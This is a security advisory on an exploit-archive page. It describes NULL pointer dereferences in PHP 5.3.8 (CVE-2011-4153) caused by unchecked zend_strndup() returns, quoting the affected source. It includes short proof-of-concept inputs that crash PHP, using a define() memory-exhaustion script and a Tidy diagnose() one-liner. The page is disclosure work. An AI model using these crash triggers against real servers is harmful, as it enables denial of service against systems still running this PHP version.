exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP 5.3.8 NULL Pointer Dereference

PHP 5.3.8 NULL Pointer Dereference
Posted Jan 15, 2012
Authored by Maksymilian Arciemowicz

PHP version 5.3.8 suffers from multiple NULL pointer dereference vulnerabilities.

tags | exploit, php, vulnerability
advisories | CVE-2011-4153
SHA-256 | 38953c5295dc5afd32a246b9cd42af756cdc0d62c5141f04f40ac86c058dcf4f

PHP 5.3.8 NULL Pointer Dereference

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ PHP 5.3.8 Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
Website: http://cxsecurity.com/
Date: 14.01.2012

CVE:
CVE-2011-4153 (zend_strndup)

Original link:
http://cxsecurity.com/research/103


[--- 1. Multiple NULL Pointer Dereference with zend_strndup()
[CVE-2011-4153] ---]
As we can see in zend_strndup()

- -zend_alloca.c---
ZEND_API char *zend_strndup(const char *s, uint length)
{
char *p;

p = (char *) malloc(length+1);
if (UNEXPECTED(p == NULL)) {
return p; <=== RETURN NULL
}
if (length) {
memcpy(p, s, length);
}
p[length] = 0;
return p;
}
- -zend_alloca.c---

zend_strndup() may return NULL

in php code, many calls to zend_strndup() dosen't checks returned
values. In result, places like:

- -zend_builtin_functions.c---
ZEND_FUNCTION(define)
{
char *name;
int name_len;
zval *val;
zval *val_free = NULL;
zend_bool non_cs = 0;
int case_sensitive = CONST_CS;
zend_constant c;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name,
&name_len, &val, &non_cs) == FAILURE) {
return;
}
...
c.flags = case_sensitive; /* non persistent */
c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL
c.name_len = name_len+1;
c.module_number = PHP_USER_CONSTANT;
if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
RETURN_TRUE;
} else {
RETURN_FALSE;
}
}
- -zend_builtin_functions.c---

- -PoC code---
[cx@82 /www]$ ulimit -a
socket buffer size (bytes, -b) unlimited
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) 524288
file size (blocks, -f) unlimited
max locked memory (kbytes, -l) unlimited
max memory size (kbytes, -m) 40000
open files (-n) 11095
pipe size (512 bytes, -p) 1
stack size (kbytes, -s) 65536
cpu time (seconds, -t) unlimited
max user processes (-u) 5547
virtual memory (kbytes, -v) 40000
swap size (kbytes, -w) unlimited
[cx@82 /www]$ cat define.php
<?php
define(str_repeat("A",$argv[1]),"a");
?>
- -PoC code---

to see difference

[cx@82 /www]$ php define.php 8999999
Out of memory
[cx@82 /www]$ php define.php 9999999
Segmentation fault: 11

(gdb) bt
#0 0x28745eb0 in strrchr () from /lib/libc.so.7
#1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
#2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
#3 0x0826dba6 in zend_do_fcall_common_helper_SPEC
(execute_data=0x29401040)
at zend_vm_execute.h:316


There are others places, where zend_strndup() is used:

- -1--
ext/soap/php_sdl.c
if (sdl->is_persistent) {
new_enc->details.ns = zend_strndup(ns, ns_len);
new_enc->details.type_str = strdup(new_enc->details.type_str);
} else {
new_enc->details.ns = estrndup(ns, ns_len);
new_enc->details.type_str = estrdup(new_enc->details.type_str);
}
- -1--

- -2--
ext/standard/syslog.c
BG(syslog_device) = zend_strndup(ident, ident_len);
openlog(BG(syslog_device), option, facility);
RETURN_TRUE;
- -2--

- -3--
ext/standard/browscap.c
} else { /* Other than true/false setting */
Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),
Z_STRLEN_P(arg2));
Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
}
new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
zend_str_tolower(new_key, Z_STRLEN_P(arg1));
zend_hash_update(Z_ARRVAL_P(current_section), new_key,
Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);
free(new_key);
- -3--

- -4--
ext/oci8/oci8.c
if (alloc_non_persistent) {
connection = (php_oci_connection *) ecalloc(1,
sizeof(php_oci_connection));
connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
connection->is_persistent = 0;
} else {
connection = (php_oci_connection *) calloc(1,
sizeof(php_oci_connection));
connection->hash_key = zend_strndup(hashed_details.c,
hashed_details.len);
connection->is_persistent = 1;
}
- -4--

- -5--
ext/com_dotnet/com_typeinfo.c
const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,
codepage TSRMLS_CC);
c.name = zend_strndup(const_name, c.name_len);
efree(const_name);
c.name_len++; /* include NUL */
SysFreeString(bstr_ids);

/* sanity check for the case where the constant is already defined */
if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) {
if (COMG(autoreg_verbose) && !compare_function(&results,
&c.value, &exists TSRMLS_CC)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library
constant %s is already defined", c.name);
}
free(c.name);
ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);
continue;
}
- -5--

- -6--
main/php_open_temporary_file.c
/* On Unix use the (usual) TMPDIR environment variable. */
{
char* s = getenv("TMPDIR");
if (s && *s) {
int len = strlen(s);

if (s[len - 1] == DEFAULT_SLASH) {
temporary_directory = zend_strndup(s, len - 1);
} else {
temporary_directory = zend_strndup(s, len);
}

return temporary_directory;
}
- -6--


[--- 2. Tidy::diagnose() NULL pointer dereference ---]
Class tidy, may provide to null pointer dereference using tidy lib.

1287 static PHP_FUNCTION(tidy_diagnose)
1288 {
1289 TIDY_FETCH_OBJECT;
1290
1291 if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
1292 tidy_doc_update_properties(obj TSRMLS_CC);
1293 RETURN_TRUE;
1294 }
1295
1296 RETURN_FALSE;
1297 }

- -PoC---
(gdb) r -r '$nx=new Tidy("*");$nx->diagnose();'
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();'
[Thread debugging using libthread_db enabled]
PHP Warning: tidy::__construct(): Cannot Load '*' into memory in
Command line code on line 1

Program received signal SIGSEGV, Segmentation fault.
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
from /usr/lib/libtidy-0.99.so.0
- -PoC---

- -Result---
cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();'
PHP Warning: tidy::__construct(): Cannot Load '*' into memory in
Command line code on line 1
Segmentation fault
- -Result---

I do not consider this vulnerability as a having security impact other
as DoS.

[--- 3. Contact ---]
Author: Maksymilian Arciemowicz
Email: max {AA\TT cxsecurity |D|0|T] com
http://cxsecurity.com/

GPG:
http://cxsecurity.com/office.cxsecurity.txt


- --
Best Regards
Maksymilian Arciemowicz (CXSecurity.com)
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <max@cxib.net>
sub 4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPEWEaAAoJEIO8+dzW5bUwiQIP+wW7gqAMB3FtONREDS9rUa83
VTJpMzCNdZw5cy7qIwivC4usdRUbidFy8Bqt/TA/3x8nWVm3Wx//5DPyFWb/RNZh
swSS7+9f6XJA4tEF/eTn6lCEG4xp2wLxHgxqIqmWR09gkOifhKHVEEXlO5qsQxhx
T5hEYqbvXEknzlUS/HC9C6sZsZK0EbdPjxDqe1qE+P3GyHecfoVb3s7WQw0IitZT
l47by1UbJ2iGj5q4EExLyj2FxomIw46LFdFtePHOI6EZcq/MODnyCGNkzVpS4tyK
SNIxiSp7nM1n08a6kQ1pZrMyTUO/LATojJ6qf79bJApyhK1ggs4WF+E73wItiFt0
ordQeqWy2hTLyv+UlbsoFErSgASgw5MIw3ygZXNZsdQWEMj+UCUTrsro7k/zB6Uy
3r4ccmyf1Vd+kLx12SAR/uxHIlqQVskQDi2k45CPHQVAYGKdax24ksVlfgQ2K/dY
2SCj9gEDAOKqtNLxyFyEStraeb330TrxbGaI25gjiDVf7nYgPowqdaM1gI862MoR
vP4vbFFY9ldwTBsLz9DNMVObsNWsoz2BlQ6olCgUPqkvce9RyI6rp+QwyIXQLcVr
jUGMXhpmDrNR2oyA4ufsZ4u5W8KUIK3t26v8649k3LSzmRpmK1TSTNqdHwm9WfMa
0qg+Bq1hSEVfTOuqOY7x
=IDq3
-----END PGP SIGNATURE-----


Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close